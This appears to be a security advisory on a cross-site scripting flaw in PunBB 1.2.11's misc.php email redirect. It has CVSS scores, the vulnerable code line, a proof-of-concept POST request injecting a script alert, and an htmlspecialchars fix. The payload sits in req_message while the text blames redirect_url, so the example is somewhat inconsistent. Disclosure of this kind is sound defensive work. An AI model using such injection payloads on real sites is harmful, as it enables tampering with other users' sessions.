PunBB1.2.11 Cross-Site Scripting

2006.05.09
Risk: Low
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

PunBB 1.2.11 Cross-Site Scripting File name :- misc.php Action :- Send Email Line :- 123 [php] redirect($_POST['redirect_url'], $lang_misc['E-mail sent redirect']); [/php] The $_POST['redirect_url'] = Unfilter Input Exploit :- Send POST Request [code] GET :- /PunBB/misc.php?email=2 POST :- form_sent=1&redirect_url=index.php&req_subject=test&req_message=test"><s cript>alert(1);</script> [/code] Fix :- Replace The Line With :- [php] redirect(htmlspecialchars($_POST['redirect_url']), $lang_misc['E-mail sent redirect']); [/php]


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top